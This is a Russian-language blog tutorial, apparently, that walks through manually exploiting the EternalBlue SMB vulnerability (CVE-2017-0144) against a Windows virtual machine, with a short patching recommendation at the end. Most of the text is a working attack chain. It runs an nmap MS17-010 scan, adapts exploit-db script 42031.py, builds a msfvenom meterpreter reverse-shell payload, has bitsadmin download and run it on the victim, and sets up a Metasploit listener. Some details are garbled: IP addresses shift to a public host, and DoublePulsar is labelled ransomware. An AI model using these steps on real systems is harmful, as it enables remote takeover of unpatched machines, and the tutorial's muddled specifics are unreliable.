Уязвимость EternalBlue CVE-2017-0144
Security
Предупреждение
Статья написана и опубликована в ознакомительных целях!
Данная уязвимость (EternalBlue) имеет свой идентификационный номер - CVE-2017-0144
Что такое EternalBlue ?
В мае 2017 года группировка хакеров получает несанкционированный доступ к файловой системе АНБ, в последствии чего были опубликованы подробности уязвимостей в протоколе SMB и службы NetLogon Windows. Некий злоумышленник, просто отправив пакет на открытый порт 445 мог с легкостью получить обратную оболочку, а далее уже использовать устройство жертвы как ему захочется.
Эта уязвимость использовалась для распространения программ-вымогателей, типа WannaCry, Petya или DoublePulsar.
Как узнать, подвержен ли Ваш ПК подобной атаке? Достаточно легко по следующим критериям:
- Устройство находится под управлением: Windows XP, 7, Vista или Microsoft Server вплоть к 2016 году.
- На вашей машине отсутствует патч безопасности MS-017. То есть не было обновлений с начала 2017 года.
- Открытые порты - 445 или 139.
Каков шанс успешно использовать бывший эксплойт нулевого дня сегодня
Эта "дыра" все ещё актуальна, ведь в мире существует около 600.000 устройств, которые потенциально могут быть скомпрометированы. И ваш сосед Петя Пупкин тому пример.
Проводим тесты на собственной виртуальной машине
Для того, чтобы провести эксплуатацию вручную, сперва нам нужно проверить уязвим ли хост, используем для этого Nmap со следующим параметром:
nmap -p 445 -Pn --script smb-vuln-ms17-010 192.168.42.12
Хост уязвим, этого достаточно, так как мы не будем использовать Метасплоит, проведем поиск эксплоита:
searchsploit eternalblue
42031.py - это наш целевой файл, скопируем его в новую папку в директории root:
mkdir exploit
cp /usr/share/exploitdb/exploits/windows/remote/42031.py /kali/exploit/
Теперь давайте посмотрим на сам его код для получения дополнительных сведений, используя команду less для удобства:
less 42031.py
Сейчас важно, чтобы гостевая учетная запись была не отключена, так как нам нужны любые варианты входа в систему для корректной эксплуатации, в нашем случае это Guest; Guest, которые мы вписываем в строки Username;Password, вот так:
Запустив сам скрипт мы получим уведомление о выборе Пайпа:
python exploit.py
exploit.py <ip> [pipe_name]
Теперь нужно запустить Метасплоит, без него никак, а после выполнить поиск нужного пайпа:
search pipe
use 7
show options
Все, что нам действительно нужно сделать - это указать IP-адрес нашей цели:
set rhosts 192.168.42.12
run
Затем возвращаемся в самый первый наш терминал и запускаем эксплоит:
python exploit.py 192.168.42.12 netlogon
Из ответа видим, что на атакуемой машине был создан файл pwed.txt, это можно использовать для проведения дальнейшей атаки.
Под руководством сервера Апач, мы создадим полезную нагрузку, после чего она будет передана тачке жертвы и запущена, а у нас появится та самая обратная оболочка:
msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp lhost= 192.168.42.1 lport=4321 -e x64/xor -i 5 -f exe -o /var/www/html/sc.exe
Запускаем сервер:
service apache2 start
И снова переходим к редактированию кода, ищем вот этот фрагмент:
Это код, отвечающий за подключение к цели и создание текстового файла. Сначала изменим функцию, заметив все после cmd /c следующей командой:
bitsadmin /transfer pwn /download http://192.168.42.12/sc.exe C:\sc.exe
Затем добавим еще одну функцию service_exec() и заставим ее выполнять только что переданный файл. Код будет выглядеть так:
service_exec(conn, r'cmd /c /sc.exe')
На этом все, запускаем слушатель в Метасплоит:
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 91.211.118.87
run
Осталось только запустить отредактированный файл.py:
python exploit.py 91.211.118.87 netlogon
Рекомендации
Защита действительно очень проста - установите обновление от Майкрософт или просто закройте порты 445 и 139, отключив службу NetLogon. На этом все.
Конец

⚡️ Канал - ссылка
📺 YouTube - ссылка